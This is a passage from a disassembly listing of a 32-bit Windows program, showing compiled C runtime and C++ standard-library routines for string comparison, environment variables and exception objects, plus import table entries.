		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_41FAAE
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_415D70
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41FA7D
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]

loc_41FA7D:				; CODE XREF: sub_41F845+224j
		cmp	edi, ebx
		jz	short loc_41FAAE
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	dword_421064	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41FAAE
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_421008	; CompareStringW
		jmp	short loc_41FAB0
; ---------------------------------------------------------------------------

loc_41FAAE:				; CODE XREF: sub_41F845+63j
					; sub_41F845+C6j ...
		xor	eax, eax

loc_41FAB0:				; CODE XREF: sub_41F845+BFj
					; sub_41F845+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F845	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FAC2	proc near		; CODE XREF: sub_41F7D7+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_41FB26
		push	3Dh
		push	[ebp+arg_0]
		call	sub_41FD08
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_41FB26
		cmp	[ebp+arg_0], esi
		jz	short loc_41FB26
		mov	eax, dword_4694BC
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4694C0
		jnz	short loc_41FB0C
		push	eax
		call	sub_41FCA1
		pop	ecx
		mov	dword_4694BC, eax

loc_41FB0C:				; CODE XREF: sub_41FAC2+3Cj
		cmp	eax, edi
		jnz	short loc_41FB64
		cmp	[ebp+arg_4], edi
		jz	short loc_41FB2E
		cmp	dword_4694C4, edi
		jz	short loc_41FB2E
		call	sub_41F7D7
		test	eax, eax
		jz	short loc_41FB64

loc_41FB26:				; CODE XREF: sub_41FAC2+Dj
					; sub_41FAC2+22j ...
		or	eax, 0FFFFFFFFh

loc_41FB29:				; CODE XREF: sub_41FAC2+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41FB2E:				; CODE XREF: sub_41FAC2+51j
					; sub_41FAC2+59j
		cmp	ebx, edi
		jnz	loc_41FC42
		push	4
		call	sub_415DC9
		cmp	eax, edi
		pop	ecx
		mov	dword_4694BC, eax
		jz	short loc_41FB26
		mov	[eax], edi
		cmp	dword_4694C4, edi
		jnz	short loc_41FB64
		push	4
		call	sub_415DC9
		cmp	eax, edi
		pop	ecx
		mov	dword_4694C4, eax
		jz	short loc_41FB26
		mov	[eax], edi

loc_41FB64:				; CODE XREF: sub_41FAC2+4Cj
					; sub_41FAC2+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4694BC
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41FC49
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_41FBC4
		cmp	dword ptr [edi], 0
		jz	short loc_41FBC4
		test	ebx, ebx
		jz	short loc_41FBBC
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_415E3D
		pop	ecx

loc_41FB96:				; CODE XREF: sub_41FAC2+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_41FBA6
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_41FB96
; ---------------------------------------------------------------------------

loc_41FBA6:				; CODE XREF: sub_41FAC2+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_4174DF
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41FBF6
		jmp	short loc_41FBF1
; ---------------------------------------------------------------------------

loc_41FBBC:				; CODE XREF: sub_41FAC2+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_41FBF6
; ---------------------------------------------------------------------------

loc_41FBC4:				; CODE XREF: sub_41FAC2+BDj
					; sub_41FAC2+C2j
		test	ebx, ebx
		jnz	short loc_41FC42
		test	esi, esi
		jge	short loc_41FBCE
		neg	esi

loc_41FBCE:				; CODE XREF: sub_41FAC2+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_4174DF
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41FB26
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0

loc_41FBF1:				; CODE XREF: sub_41FAC2+F8j
		mov	dword_4694BC, eax

loc_41FBF6:				; CODE XREF: sub_41FAC2+F6j
					; sub_41FAC2+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_41FC42
		push	[ebp+arg_0]
		call	sub_415CF0
		inc	eax
		inc	eax
		push	eax
		call	sub_415DC9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_41FC42
		push	[ebp+arg_0]
		push	esi
		call	sub_415C00
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	dword_421004	; SetEnvironmentVariableA
		push	esi
		call	sub_415E3D
		pop	ecx

loc_41FC42:				; CODE XREF: sub_41FAC2+6Ej
					; sub_41FAC2+104j ...
		xor	eax, eax
		jmp	loc_41FB29
sub_41FAC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FC49	proc near		; CODE XREF: sub_41FAC2+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4694BC
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41FC84
		mov	edi, [esp+8+arg_4]

loc_41FC5B:				; CODE XREF: sub_41FC49+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_41F798
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41FC7A
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_41FC94
		test	al, al
		jz	short loc_41FC94

loc_41FC7A:				; CODE XREF: sub_41FC49+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_41FC5B

loc_41FC84:				; CODE XREF: sub_41FC49+Cj
		mov	eax, esi
		sub	eax, dword_4694BC
		sar	eax, 2
		neg	eax

loc_41FC91:				; CODE XREF: sub_41FC49+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41FC94:				; CODE XREF: sub_41FC49+2Bj
					; sub_41FC49+2Fj
		mov	eax, esi
		sub	eax, dword_4694BC
		sar	eax, 2
		jmp	short loc_41FC91
sub_41FC49	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCA1	proc near		; CODE XREF: sub_41FAC2+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_41FCB0
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41FCB0:				; CODE XREF: sub_41FCA1+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_41FCC2

loc_41FCB8:				; CODE XREF: sub_41FCA1+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_41FCB8

loc_41FCC2:				; CODE XREF: sub_41FCA1+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_415DC9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_41FCE3
		push	9
		call	sub_417BEE
		pop	ecx

loc_41FCE3:				; CODE XREF: sub_41FCA1+38j
		mov	eax, [edi]
		mov	ebx, edi

loc_41FCE7:				; CODE XREF: sub_41FCA1+5Bj
		test	eax, eax
		jz	short loc_41FCFE
		push	eax
		add	ebx, 4
		call	sub_41FD7B
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_41FCE7
; ---------------------------------------------------------------------------

loc_41FCFE:				; CODE XREF: sub_41FCA1+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_41FCA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FD08	proc near		; CODE XREF: sub_41FAC2+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_46A8DC, 0
		jnz	short loc_41FD23
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417080
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41FD23:				; CODE XREF: sub_41FD08+Aj
		mov	ecx, [ebp+arg_0]

loc_41FD26:				; CODE XREF: sub_41FD08+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_41FD69
		movzx	edx, al
		test	byte_46A9E1[edx], 4
		jz	short loc_41FD55
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_41FD60
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_41FD64
		jmp	short loc_41FD5D
; ---------------------------------------------------------------------------

loc_41FD55:				; CODE XREF: sub_41FD08+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_41FD69

loc_41FD5D:				; CODE XREF: sub_41FD08+4Bj
		inc	ecx
		jmp	short loc_41FD26
; ---------------------------------------------------------------------------

loc_41FD60:				; CODE XREF: sub_41FD08+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41FD64:				; CODE XREF: sub_41FD08+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41FD69:				; CODE XREF: sub_41FD08+25j
					; sub_41FD08+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_41FD08	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD7B	proc near		; CODE XREF: sub_4099AA+21p
					; sub_41FCA1+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_41FDA2
		push	esi
		call	sub_415CF0
		inc	eax
		push	eax
		call	sub_415DC9
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41FDA2
		push	esi
		push	eax
		call	sub_415C00
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41FDA2:				; CODE XREF: sub_41FD7B+7j
					; sub_41FD7B+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_41FD7B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41FDB0	proc near		; CODE XREF: sub_404B1E+15p
					; sub_404B77+15p ...
		mov	eax, offset loc_4202A0
		call	sub_416458
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_404D21
		mov	esi, offset aStringTooLong ; "string too long"
		push	esi
		call	sub_415CF0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_404D5D
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41FE0A
		lea	eax, [ebp-3Ch]
		push	offset dword_421F80
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_421C3C
		call	sub_420209
		pop	esi
sub_41FDB0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41FE0A	proc near		; CODE XREF: sub_41FDB0+3Fp
					; sub_41FFDC+3Fp
		mov	eax, offset loc_4202B4
		call	sub_416458
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp-10h]
		push	edi
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset byte_438FBC
		call	sub_42012E
		mov	ebx, [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_404D21
		push	dword_421248
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_404BCE
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_421C5C
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41FE0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE6E	proc near		; DATA XREF: seg000:00421C40o
					; seg000:00421C60o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_41FE7A
		mov	eax, offset dword_421258

locret_41FE7A:				; CODE XREF: sub_41FE6E+5j
		retn
sub_41FE6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE7B	proc near		; DATA XREF: seg000:00421C64o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41FEF1
		lea	eax, [ebp+var_1C]
		push	offset dword_421FF0
		push	eax
		call	sub_420209
sub_41FE7B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41FE98	proc near		; CODE XREF: seg000:0041FED8p
					; DATA XREF: seg000:00421FF4o
		mov	eax, offset loc_4202C8
		call	sub_416458
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_421C5C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_404D21
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_4201B5
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41FE98	endp

; ---------------------------------------------------------------------------

loc_41FED5:				; DATA XREF: seg000:off_421C5Co
		push	esi
		mov	esi, ecx
		call	sub_41FE98
		test	byte ptr [esp+8], 1
		jz	short loc_41FEEB
		push	esi
		call	sub_416477
		pop	ecx

loc_41FEEB:				; CODE XREF: seg000:0041FEE2j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41FEF1	proc near		; CODE XREF: sub_41FE7B+Ap
					; sub_41FFC4+7p ...
		mov	eax, offset loc_4202DC
		call	sub_416458
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		mov	[ebp-10h], esi
		call	sub_42016B
		mov	al, [ebx+0Ch]
		and	dword ptr [ebp-4], 0
		add	ebx, 0Ch
		lea	edi, [esi+0Ch]
		push	0
		mov	ecx, edi
		mov	[edi], al
		call	sub_404D21
		push	dword_421248
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_404BCE
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_421C5C
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41FEF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FF4E	proc near		; CODE XREF: sub_41FF8B+20p
					; DATA XREF: seg000:00421F84o
		mov	eax, offset loc_4202F0
		call	sub_416458
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_421C5C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_404D21
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_4201B5
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41FF4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FF8B	proc near		; DATA XREF: seg000:00421C44o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41FFC4
		lea	eax, [ebp+var_1C]
		push	offset dword_421F80
		push	eax
		call	sub_420209

loc_41FFA8:				; DATA XREF: seg000:off_421C3Co
		push	esi
		mov	esi, ecx
		call	sub_41FF4E
		test	[esp+20h+var_18], 1
		jz	short loc_41FFBE
		push	esi
		call	sub_416477
		pop	ecx

loc_41FFBE:				; CODE XREF: sub_41FF8B+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_41FF8B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41FFC4	proc near		; CODE XREF: sub_41FF8B+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41FEF1
		mov	dword ptr [esi], offset	off_421C3C
		mov	eax, esi
		pop	esi
		retn	4
sub_41FFC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FFDC	proc near		; CODE XREF: sub_404BCE+13p
					; sub_404D92+Ep
		mov	eax, offset loc_420304
		call	sub_416458
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_404D21
		mov	esi, offset aInvalidStringP ; "invalid string position"
		push	esi
		call	sub_415CF0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_404D5D
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41FE0A
		lea	eax, [ebp-3Ch]
		push	offset dword_4220A8
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_421C6C
		call	sub_420209
		pop	esi
sub_41FFDC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_420036	proc near		; CODE XREF: sub_420073+20p
					; DATA XREF: seg000:004220ACo
		mov	eax, offset loc_420318
		call	sub_416458
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_421C5C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_404D21
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_4201B5
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_420036	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420073	proc near		; DATA XREF: seg000:00421C74o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4200AC
		lea	eax, [ebp+var_1C]
		push	offset dword_4220A8
		push	eax
		call	sub_420209

loc_420090:				; DATA XREF: seg000:off_421C6Co
		push	esi
		mov	esi, ecx
		call	sub_420036
		test	[esp+20h+var_18], 1
		jz	short loc_4200A6
		push	esi
		call	sub_416477
		pop	ecx

loc_4200A6:				; CODE XREF: sub_420073+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_420073	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4200AC	proc near		; CODE XREF: sub_420073+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41FEF1
		mov	dword ptr [esi], offset	off_421C6C
		mov	eax, esi
		pop	esi
		retn	4
sub_4200AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200C4	proc near		; DATA XREF: seg000:0042300Co

; FUNCTION CHUNK AT 004200FA SIZE 0000000C BYTES

		test	byte_46977C, 1
		jnz	short loc_4200D4
		or	byte_46977C, 1

loc_4200D4:				; CODE XREF: sub_4200C4+7j
		call	sub_4200EE
		test	byte_46AB18, 1
		jnz	short loc_4200E9
		or	byte_46AB18, 1

loc_4200E9:				; CODE XREF: sub_4200C4+1Cj
		jmp	loc_4200FA
sub_4200C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200EE	proc near		; CODE XREF: sub_4200C4:loc_4200D4p
		push	offset nullsub_1
		call	sub_416840
		pop	ecx
		retn
sub_4200EE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4200C4

loc_4200FA:				; CODE XREF: sub_4200C4:loc_4200E9j
		push	offset nullsub_1
		call	sub_416840
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_4200C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_420106	proc near		; CODE XREF: sub_40446E+5Ep
					; sub_405409+159p
		jmp	dword_4211D4
sub_420106	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42010C	proc near		; CODE XREF: sub_4160C4+23p
					; sub_416368+13p
		jmp	dword_421154
sub_42010C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420112	proc near		; DATA XREF: seg000:off_421C94o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4201B5
		test	[esp+4+arg_0], 1
		jz	short loc_420128
		push	esi
		call	sub_416477
		pop	ecx

loc_420128:				; CODE XREF: sub_420112+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_420112	endp


; =============== S U B	R O U T	I N E =======================================



sub_42012E	proc near		; CODE XREF: sub_41FE0A+1Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_421C94
		push	dword ptr [edi]
		call	sub_415CF0
		inc	eax
		push	eax
		call	sub_4167C5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42015D
		push	dword ptr [edi]
		push	eax
		call	sub_415C00
		pop	ecx
		pop	ecx

loc_42015D:				; CODE XREF: sub_42012E+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42012E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42016B	proc near		; CODE XREF: sub_41FEF1+17p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_421C94
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4201A8
		push	dword ptr [edi+4]
		call	sub_415CF0
		inc	eax
		push	eax
		call	sub_4167C5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4201AE
		push	dword ptr [edi+4]
		push	eax
		call	sub_415C00
		pop	ecx
		pop	ecx
		jmp	short loc_4201AE
; ---------------------------------------------------------------------------

loc_4201A8:				; CODE XREF: sub_42016B+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax

loc_4201AE:				; CODE XREF: sub_42016B+2Ej
					; sub_42016B+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42016B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201B5	proc near		; CODE XREF: sub_41FE98+2Bp
					; sub_41FF4E+2Bp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_421C94
		jz	short locret_4201CA
		push	dword ptr [ecx+4]
		call	sub_416477
		pop	ecx

locret_4201CA:				; CODE XREF: sub_4201B5+Aj
		retn
sub_4201B5	endp

; ---------------------------------------------------------------------------
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4201D7
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4201D7:				; CODE XREF: seg000:004201D0j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4201D8	proc near		; CODE XREF: seg000:004201F0p
		mov	dword ptr [ecx], offset	off_421CB4
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4201EC
		push	ecx
		call	sub_415E3D
		pop	ecx

locret_4201EC:				; CODE XREF: sub_4201D8+Bj
		retn
sub_4201D8	endp

; ---------------------------------------------------------------------------

loc_4201ED:				; DATA XREF: seg000:off_421CB4o
		push	esi
		mov	esi, ecx
		call	sub_4201D8
		test	byte ptr [esp+8], 1
		jz	short loc_420203
		push	esi
		call	sub_416477
		pop	ecx

loc_420203:				; CODE XREF: seg000:004201FAj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420209	proc near		; CODE XREF: sub_41FDB0+54p
					; sub_41FE7B+18p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_421CB8
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	dword_421184	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_420209	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_420244	proc near		; DATA XREF: seg000:00421E84o

; FUNCTION CHUNK AT 00404B16 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_404B16
sub_420244	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_420262
		mov	ecx, [ebp+8]
		jmp	loc_404B16
; ---------------------------------------------------------------------------

locret_420262:				; CODE XREF: seg000:00420254j
		retn
; ---------------------------------------------------------------------------

loc_420263:				; DATA XREF: sub_4046AAo
		mov	eax, offset dword_421E58
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+14h]
		jmp	loc_404B16
; ---------------------------------------------------------------------------

loc_420278:				; DATA XREF: seg000:00421EB4o
		lea	ecx, [ebp-1Ch]
		jmp	loc_404B16
; ---------------------------------------------------------------------------

loc_420280:				; DATA XREF: sub_40484Co
		mov	eax, offset dword_421E88
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 4

loc_42028C:				; DATA XREF: sub_404DF9o
		mov	eax, offset dword_421EB8
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_404B16
; ---------------------------------------------------------------------------

loc_4202A0:				; DATA XREF: sub_41FDB0o
		mov	eax, offset dword_421F90
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-14h]
		jmp	sub_4201B5
; ---------------------------------------------------------------------------

loc_4202B4:				; DATA XREF: sub_41FE0Ao
		mov	eax, offset dword_421FB8
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4201B5
; ---------------------------------------------------------------------------

loc_4202C8:				; DATA XREF: sub_41FE98o
		mov	eax, offset dword_422000
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_4201B5
; ---------------------------------------------------------------------------

loc_4202DC:				; DATA XREF: sub_41FEF1o
		mov	eax, offset dword_422028
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_4201B5
; ---------------------------------------------------------------------------

loc_4202F0:				; DATA XREF: sub_41FF4Eo
		mov	eax, offset dword_422050
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_404B16
; ---------------------------------------------------------------------------

loc_420304:				; DATA XREF: sub_41FFDCo
		mov	eax, offset dword_4220B8
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4201B5
; ---------------------------------------------------------------------------

loc_420318:				; DATA XREF: sub_420036o
		mov	eax, offset dword_4220E0
		jmp	loc_416113
; ---------------------------------------------------------------------------
		align 4
		dd 337h	dup(0)
dword_421000	dd 77E7FF65h		; DATA XREF: sub_40A6A8+5Ar
dword_421004	dd 77E6BD68h		; DATA XREF: sub_41FAC2+173r
dword_421008	dd 77E77F2Eh		; DATA XREF: sub_41F845+3Er
					; sub_41F845+261r
